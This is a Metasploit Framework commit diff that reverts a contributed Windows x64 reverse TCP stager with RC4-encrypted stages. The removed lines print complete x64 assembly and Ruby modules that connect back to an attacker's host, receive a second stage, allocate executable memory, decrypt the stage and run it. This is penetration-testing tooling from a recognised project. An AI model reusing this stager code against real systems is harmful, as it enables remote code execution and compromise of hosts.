Revert "Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"
This reverts commit4.xfcc579377f
, reversing changes made to95cd149378
.
parent
4841f29190
commit
d2150c8d15
|
@ -1,97 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# RC4 decryption stub for Windows ARCH_X64 payloads
|
||||
#
|
||||
###
|
||||
module Payload::Windows::Rc4_x64
|
||||
#
|
||||
# Register rc4 specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate assembly code that decrypts RC4 shellcode in-place
|
||||
#
|
||||
|
||||
def asm_decrypt_rc4
|
||||
%!
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: max3raza
|
||||
; Version: 1.0 (12 January 2018)
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Input: R9 - Data to decode
|
||||
; RCX - Data length
|
||||
; RSI - Key (16 bytes for simplicity and smaller code)
|
||||
; RDI - pointer to 0x100 bytes scratch space for S-box
|
||||
; Direction flag has to be cleared
|
||||
; Output: None. Data is decoded in place.
|
||||
; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used)
|
||||
; Initialize S-box
|
||||
xor rax, rax ; Start with 0
|
||||
mov r8, rdi ; Save pointer to S-box
|
||||
init:
|
||||
stosb ; Store next S-Box byte S[i] = i
|
||||
inc al ; increase byte to write (RDI is increased automatically)
|
||||
jnz init ; loop until we wrap around
|
||||
; permute S-box according to key
|
||||
xor rbx, rbx ; Clear RBX (RAX is already cleared)
|
||||
permute:
|
||||
add bl, [r8+rax] ; BL += S[AL] + KEY[AL % 16]
|
||||
mov rdx, rax
|
||||
and dl, 0xF
|
||||
add bl, [rsi+rdx]
|
||||
mov dl, [r8+rax] ; swap S[AL] and S[BL]
|
||||
xchg dl, [r8+rbx]
|
||||
mov [r8+rax], dl
|
||||
inc al ; AL += 1 until we wrap around
|
||||
jnz permute
|
||||
; decryption loop
|
||||
xor rbx, rbx ; Clear RBX (RAX is already cleared)
|
||||
decrypt:
|
||||
inc al ; AL += 1
|
||||
add bl, [r8+rax] ; BL += S[AL]
|
||||
mov dl, [r8+rax] ; swap S[AL] and S[BL]
|
||||
xchg dl, [r8+rbx]
|
||||
mov [r8+rax], dl
|
||||
add dl, [r8+rbx] ; DL = S[AL]+S[BL]
|
||||
mov dl, [r8+rdx] ; DL = S[DL]
|
||||
xor [r9], dl ; [R9] ^= DL
|
||||
inc r9 ; advance data pointer
|
||||
dec rcx ; reduce counter
|
||||
jnz decrypt ; until finished
|
||||
!
|
||||
end
|
||||
|
||||
def generate_stage(opts = {})
|
||||
p = super(opts)
|
||||
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
|
||||
c1 = OpenSSL::Cipher.new('RC4')
|
||||
c1.decrypt
|
||||
c1.key = rc4key
|
||||
p = c1.update(p)
|
||||
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(_conn, _payload)
|
||||
false
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def rc4_keys(rc4pass = '')
|
||||
m = OpenSSL::Digest.new('sha1')
|
||||
m.reset
|
||||
key = m.digest(rc4pass)
|
||||
[key[0, 4], key[4, 16]]
|
||||
end
|
||||
end
|
||||
end
|
|
@ -69,7 +69,6 @@ module Payload::Windows::ReverseTcp_x64
|
|||
start:
|
||||
pop rbp ; block API pointer
|
||||
#{asm_reverse_tcp(opts)}
|
||||
#{asm_block_recv(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
@ -106,6 +105,7 @@ module Payload::Windows::ReverseTcp_x64
|
|||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
@ -191,15 +191,7 @@ module Payload::Windows::ReverseTcp_x64
|
|||
^
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm
|
||||
|
||||
end
|
||||
|
||||
def asm_block_recv(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
|
||||
asm = %Q^
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
|
||||
|
|
|
@ -1,189 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/rc4'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for Windows ARCH_X64
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseTcpRc4_x64
|
||||
|
||||
include Msf::Payload::Windows::ReverseTcp_x64
|
||||
include Msf::Payload::Windows::Rc4_x64
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
xorkey: xorkey,
|
||||
rc4key: rc4key,
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp_rc4(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp_rc4(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp ; block API pointer
|
||||
#{asm_reverse_tcp(opts)}
|
||||
#{asm_block_recv_rc4(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
def asm_block_recv_rc4(opts={})
|
||||
xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp
|
||||
reliable = opts[:reliable]
|
||||
asm = %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
|
||||
; second stage length
|
||||
mov rdx, rsp ; set pointer to this buffer
|
||||
xor r9, r9 ; flags
|
||||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jle cleanup_socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
mov esi, esi ; only use the lower-order 32 bits for the size
|
||||
xor esi, #{xorkey} ; XOR the stage length
|
||||
lea r11, [rsi+0x100] ; R11 = stage length + S-box length (alloc length)
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx,rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
; mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
lea rbx, [rax+0x100]
|
||||
; mov r15, rax ; save the address so we can jump into it later
|
||||
mov r15, rbx
|
||||
push rbx ; save stage address
|
||||
push rsi ; push stage length
|
||||
push rax ; push the address of the S-box
|
||||
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
add rsp, 32 ; restore stack after api_call
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jge read_successful
|
||||
|
||||
; something failed so free up memory
|
||||
pop rax
|
||||
push r15
|
||||
pop rcx ; lpAddress
|
||||
push 0x4000 ; MEM_COMMIT
|
||||
pop r8 ; dwFreeType
|
||||
push 0 ; 0
|
||||
pop rdx ; dwSize
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||
call rbp ; VirtualFree(payload, 0, MEM_COMMIT)
|
||||
|
||||
cleanup_socket:
|
||||
; clean up the socket
|
||||
push rdi ; socket handle
|
||||
pop rcx ; s (closesocket parameter)
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call rbp
|
||||
|
||||
; and try again
|
||||
dec r14 ; decrement the retry count
|
||||
jmp create_socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
read_successful:
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
; test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
mov r14, rdi ; save socket handle
|
||||
pop rdi ; address of S-box
|
||||
pop rcx ; stage length
|
||||
pop r9 ; address of stage
|
||||
push r14 ; save socket
|
||||
call after_key ; Call after_key, this pushes the address of the key onto the stack.
|
||||
db #{raw_to_db(opts[:rc4key])}
|
||||
after_key:
|
||||
pop rsi ; rsi = RC4 key
|
||||
#{asm_decrypt_rc4}
|
||||
pop rdi ; restrore socket handle
|
||||
jmp r15 ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,35 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/reverse_tcp_rc4'
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 398
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseTcpRc4_x64
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_tcp_rc4"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockrdi',
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue